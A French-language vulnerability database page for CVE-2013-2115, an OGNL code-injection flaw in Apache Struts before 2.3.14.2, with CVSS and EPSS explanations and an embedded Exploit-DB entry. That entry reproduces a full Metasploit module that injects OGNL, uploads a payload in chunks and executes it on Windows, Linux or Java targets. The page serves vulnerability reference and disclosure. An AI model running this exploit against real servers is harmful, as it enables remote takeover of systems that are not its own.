CVE-2013-2115 : Détail

CVE-2013-2115

8.1
/
Haute
Code Injection
A03-Injection
92.84%V4
Network
2013-07-10
19h00 +00:00
2024-09-16
19h14 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Apache Struts 2 before 2.3.14.2 allows remote attackers to execute arbitrary OGNL code via a crafted request that is not properly handled when using the includeParams attribute in the (1) URL or (2) A tag. NOTE: this issue is due to an incomplete fix for CVE-2013-1966.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 25980

Date de publication : 2013-06-04 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts includeParams Remote Code Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts versions < 2.3.14.2. A specifically crafted request parameter can be used to inject arbitrary OGNL code into the stack bypassing Struts and OGNL library protections. When targeting an action which requires interaction through GET the payload should be split having into account the uri limits. In this case, if the rendered jsp has more than one point of injection, it could result in payload corruption. It should happen only when the payload is larger than the uri length. }, 'Author' => [ # This vulnerability was also discovered by unknown members of: # 'Coverity security Research Laboratory' # 'NSFOCUS Security Team' 'Eric Kobrin', # Vulnerability Discovery 'Douglas Rodrigues', # Vulnerability Discovery 'Richard Hicks <scriptmonkey.blog[at]gmail.com>' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-2115'], [ 'CVE', '2013-1966'], [ 'OSVDB', '93645'], [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'], [ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html'] ], 'Platform' => [ 'win', 'linux', 'java'], 'Privileged' => true, 'Targets' => [ ['Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ] ], 'DisclosureDate' => 'May 24 2013', 'DefaultTarget' => 2)) register_options( [ Opt::RPORT(8080), OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]), OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank/example/HelloWorld.action"]), OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','POST', ['GET','POST']]), OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]) ], self.class) end def execute_command(cmd, opts = {}) inject_string = @inject.gsub(/CMD/,cmd) uri = normalize_uri(target_uri.path) req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] } case datastore['HTTPMETHOD'] when 'POST' req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string }}) when 'GET' req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }}) end # Display a nice "progress bar" instead of message spam case @notify_flag when 0 print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload") @notify_flag = 1 when 1 print(".") # Progress dots when 2 print_status("Payload upload complete") end return send_request_cgi(req_hash) #Used for check function. end def exploit #initialise some base vars @inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" @java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()" #Set up generic values. @payload_exe = rand_text_alphanumeric(4+rand(4)) pl_exe = generate_payload_exe append = false #Now arch specific... case target['Platform'] when 'linux' @payload_exe = "/tmp/#{@payload_exe}" chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))" when 'java' @payload_exe << ".jar" pl_exe = payload.encoded_jar.pack exec_cmd = "" exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," exec_cmd << "#q.setAccessible(true),#q.set(null,true)," exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," exec_cmd << "#q.setAccessible(true),#q.set(null,false)," exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" when 'windows' @payload_exe = "./#{@payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" else fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!') end print_status("Preparing payload...") # Now with all the arch specific stuff set, perform the upload. # Need to calculate amount to allocate for non-dynamic parts of the URL. # Fixed strings are tokens used for substitutions. append_length = append ? "true".length : "false".length # Gets around the boolean/string issue sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length ) sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length case datastore['HTTPMETHOD'] when 'GET' chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items. #This lets us know the length remaining for our base64'd payloads chunk_length = ((chunk_length/4).floor)*3 when 'POST' chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore. end @notify_flag = 0 while pl_exe.length > chunk_length java_upload_part(pl_exe[0,chunk_length],@payload_exe,append) pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length] append = true end java_upload_part(pl_exe,@payload_exe,append) execute_command(chmod_cmd) if target['Platform'] == 'linux' print_line() # new line character, after progress bar. @notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file. execute_command(exec_cmd) register_files_for_cleanup(@payload_exe) end def java_upload_part(part, filename, append = false) cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename) append = append ? "true" : "false" # converted for the string replacement. cmd = cmd.gsub!(/APPEND/,append) cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part)) execute_command(cmd) end def check #initialise some base vars @inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" print_status("Performing Check...") sleep_time = datastore['CHECK_SLEEPTIME'] check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})" t1 = Time.now print_status("Asking remote server to sleep for #{sleep_time} seconds") response = execute_command(check_cmd) t2 = Time.now delta = t2 - t1 if response.nil? return Exploit::CheckCode::Safe elsif delta < sleep_time return Exploit::CheckCode::Safe else return Exploit::CheckCode::Appears end end end

Products Mentioned

Configuraton 0

Apache>>Struts >> Version From (including) 2.0.0 To (including) 2.3.14.1

Références

http://www.securityfocus.com/bid/60167
Tags : vdb-entry, x_refsource_BID
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.